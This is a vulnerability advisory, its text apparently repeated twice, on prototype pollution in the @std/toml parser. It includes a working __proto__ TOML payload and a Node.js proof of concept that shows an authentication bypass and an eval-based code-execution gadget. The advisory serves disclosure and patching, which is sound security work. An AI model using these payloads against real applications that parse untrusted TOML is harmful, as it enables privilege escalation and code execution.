Summary
An attacker can pollute the prototype chain in Node.js runtime and Browser when parsing untrusted TOML data, thus achieving Prototype Pollution (PP) vulnerability. This is because the library is merging an untrusted object with an empty object, which by default the empty object has the prototype chain.
Details
At toml/_parser.ts
line 825, the parser is merging an untrusted object with an empty object by calling function deepAssign
.
In function deepAssignTable
line 187 and deepAssignTableArray
line 209, if the parser parses the following TOML table or the TOML table array, it is possible to pollute the prototype chain:
[__proto__.isAdmin]
[__proto__.debug]
isDebugMode = true
debugCommand = 'console.log("RCE gadget PoC")'
[[__proto__.arrayTable]]
polluted = true
Note that due to the unflat
function call's argument value
being an object, the attacker can only pollute the object property with either an empty object or an object that contains different properties. Therefore, the attacker cannot pollute property isAdmin
with the value of boolean true
.
Also, this vulnerability could only be exploited in Node.js runtime and browser. This is because Deno removed the Object.__proto__
. Although Object.constructor.prototype
can still be accessed, it cannot be merged because the type is Function
, not type Object
. If you attempt to do so, the merge functions will throw an Error
exception. (I.e.: Function deepAssignTable
line 198)
PoC
To reproduce the vulnerability, you could run the following JavaScript code in Node.js runtime:
import { parse } from '@std/toml';
const user = { username: 'foo' };
const config = {};
// Authentication bypass gadget
function isAdmin(user) {
if (!user.isAdmin) {
console.log('[-] Is NOT an admin user');
return;
}
console.log('[+] Is an admin user');
}
// Remote Code Execution (RCE) gadget
function debugEval() {
const debugConfig = config.debug || {};
if (debugConfig.isDebugMode !== true) {
console.log('[-] Not in debug mode')
return;
}
console.log('[*] Entering debug mode...');
eval(debugConfig.debugCommand);
}
const toml = `
[__proto__.isAdmin]
[__proto__.debug]
isDebugMode = true
debugCommand = 'console.log("RCE gadget PoC")'
[[__proto__.arrayTable]]
polluted = true
`;
console.log('[*] Before pollution...');
isAdmin(user);
debugEval();
console.log(`[*] TOML data:\n${toml}`);
parse(toml);
console.log('[+] After pollution...');
console.log('[*] Object.prototype = \n', Object.prototype);
isAdmin(user);
debugEval();
Expected output:
└> node poc.js
[*] Before pollution...
[-] Is NOT an admin user
[-] Not in debug mode
[*] TOML data:
[__proto__.isAdmin]
[__proto__.debug]
isDebugMode = true
debugCommand = 'console.log("RCE gadget PoC")'
[[__proto__.arrayTable]]
polluted = true
[+] After pollution...
[*] Object.prototype =
[Object: null prototype] {
isAdmin: {},
debug: { isDebugMode: true, debugCommand: 'console.log("RCE gadget PoC")' },
arrayTable: [ { polluted: true } ]
}
[+] Is an admin user
[*] Entering debug mode...
RCE gadget PoC
Impact
PP is a vulnerability that allows an attacker to manipulate the prototype of an object and potentially modify its properties or behavior. This can lead to various security issues such as code injection, denial of service, or data manipulation.
Although I couldn't find any gadget (a dangerous property that could lead to security vulnerability when it is polluted) in the library, the application that uses the library could have such gadget(s).
Patch
540662c
Summary
An attacker can pollute the prototype chain in Node.js runtime and Browser when parsing untrusted TOML data, thus achieving Prototype Pollution (PP) vulnerability. This is because the library is merging an untrusted object with an empty object, which by default the empty object has the prototype chain.
Details
At
toml/_parser.ts
line 825, the parser is merging an untrusted object with an empty object by calling functiondeepAssign
.In function
deepAssignTable
line 187 anddeepAssignTableArray
line 209, if the parser parses the following TOML table or the TOML table array, it is possible to pollute the prototype chain:Note that due to the
unflat
function call's argumentvalue
being an object, the attacker can only pollute the object property with either an empty object or an object that contains different properties. Therefore, the attacker cannot pollute propertyisAdmin
with the value of booleantrue
.Also, this vulnerability could only be exploited in Node.js runtime and browser. This is because Deno removed the
Object.__proto__
. AlthoughObject.constructor.prototype
can still be accessed, it cannot be merged because the type isFunction
, not typeObject
. If you attempt to do so, the merge functions will throw anError
exception. (I.e.: FunctiondeepAssignTable
line 198)PoC
To reproduce the vulnerability, you could run the following JavaScript code in Node.js runtime:
Expected output:
Impact
PP is a vulnerability that allows an attacker to manipulate the prototype of an object and potentially modify its properties or behavior. This can lead to various security issues such as code injection, denial of service, or data manipulation.
Although I couldn't find any gadget (a dangerous property that could lead to security vulnerability when it is polluted) in the library, the application that uses the library could have such gadget(s).
Patch
540662c